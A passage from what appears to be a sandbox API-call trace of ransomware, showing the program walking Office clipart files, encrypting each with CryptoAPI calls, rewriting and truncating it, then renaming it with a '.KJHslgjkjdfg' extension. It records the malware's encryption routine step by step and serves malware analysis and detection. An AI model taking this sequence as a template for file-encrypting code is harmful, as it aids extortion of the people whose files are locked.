pdwDataLen=0x290f258*=0x40) returned 1 [0186.669] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.669] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.669] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.669] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.669] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.669] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.669] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.670] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.670] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.670] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.670] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb12c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xb12c, lpOverlapped=0x0) returned 1 [0186.671] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb130, dwBufLen=0xb130 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb130) returned 1 [0186.672] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.672] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xb130, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xb130, lpOverlapped=0x0) returned 1 [0186.672] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.672] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xb204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.672] SetEndOfFile (hFile=0x114) returned 1 [0186.679] GetProcessHeap () returned 0x2a0000 [0186.679] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.679] GetProcessHeap () returned 0x2a0000 [0186.679] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.679] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00640_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00640_.wmf.kjhslgjkjdfg")) returned 1 [0186.681] CloseHandle (hObject=0x114) returned 1 [0186.681] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x883d6b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x883d6b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x6028, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00668_.WMF", cAlternateFileName="")) returned 1 [0186.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00668_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.682] GetProcessHeap () returned 0x2a0000 [0186.682] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.682] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.683] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.683] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.684] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.684] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.684] GetProcessHeap () returned 0x2a0000 [0186.684] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.685] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.685] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.685] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.685] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.685] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.685] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.685] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.685] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.685] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.685] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.685] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.685] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6028, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6028, lpOverlapped=0x0) returned 1 [0186.686] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6030, dwBufLen=0x6030 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6030) returned 1 [0186.686] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.686] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6030, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6030, lpOverlapped=0x0) returned 1 [0186.687] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.687] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.687] SetEndOfFile (hFile=0x114) returned 1 [0186.689] GetProcessHeap () returned 0x2a0000 [0186.689] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.689] GetProcessHeap () returned 0x2a0000 [0186.689] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.689] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00668_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00668_.wmf.kjhslgjkjdfg")) returned 1 [0186.690] CloseHandle (hObject=0x114) returned 1 [0186.690] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9c1f00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3a9c1f00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x108a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00685_.WMF", cAlternateFileName="")) returned 1 [0186.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.691] GetProcessHeap () returned 0x2a0000 [0186.691] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.691] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.692] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.692] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0186.693] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.693] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.693] GetProcessHeap () returned 0x2a0000 [0186.693] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.693] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.693] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.693] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.694] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.694] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.694] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.694] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.694] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.694] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.694] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.694] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.694] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x108a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x108a, lpOverlapped=0x0) returned 1 [0186.695] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1090, dwBufLen=0x1090 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1090) returned 1 [0186.695] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.695] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1090, lpOverlapped=0x0) returned 1 [0186.695] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.695] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.695] SetEndOfFile (hFile=0x114) returned 1 [0186.697] GetProcessHeap () returned 0x2a0000 [0186.697] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.697] GetProcessHeap () returned 0x2a0000 [0186.697] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.697] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00685_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00685_.wmf.kjhslgjkjdfg")) returned 1 [0186.699] CloseHandle (hObject=0x114) returned 1 [0186.699] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78490a00, ftCreationTime.dwHighDateTime=0x1bf0b13, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78490a00, ftLastWriteTime.dwHighDateTime=0x1bf0b13, nFileSizeHigh=0x0, nFileSizeLow=0x112e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00686_.WMF", cAlternateFileName="")) returned 1 [0186.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00686_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.700] GetProcessHeap () returned 0x2a0000 [0186.700] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.700] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.700] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.700] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0186.705] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.705] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.705] GetProcessHeap () returned 0x2a0000 [0186.705] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.705] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.705] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.705] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.706] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.706] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.706] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.706] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.706] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.706] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.706] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.706] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.706] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x112e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x112e, lpOverlapped=0x0) returned 1 [0186.707] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1130, dwBufLen=0x1130 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1130) returned 1 [0186.707] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.707] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1130, lpOverlapped=0x0) returned 1 [0186.707] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.707] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.707] SetEndOfFile (hFile=0x114) returned 1 [0186.709] GetProcessHeap () returned 0x2a0000 [0186.709] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.709] GetProcessHeap () returned 0x2a0000 [0186.709] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.709] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00686_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00686_.wmf.kjhslgjkjdfg")) returned 1 [0186.711] CloseHandle (hObject=0x114) returned 1 [0186.711] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb45d3900, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb45d3900, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00693_.WMF", cAlternateFileName="")) returned 1 [0186.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.712] GetProcessHeap () returned 0x2a0000 [0186.712] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.712] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.712] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.712] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.714] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.714] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.714] GetProcessHeap () returned 0x2a0000 [0186.714] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.714] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.714] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.714] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.714] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.714] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.714] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.714] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.714] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: 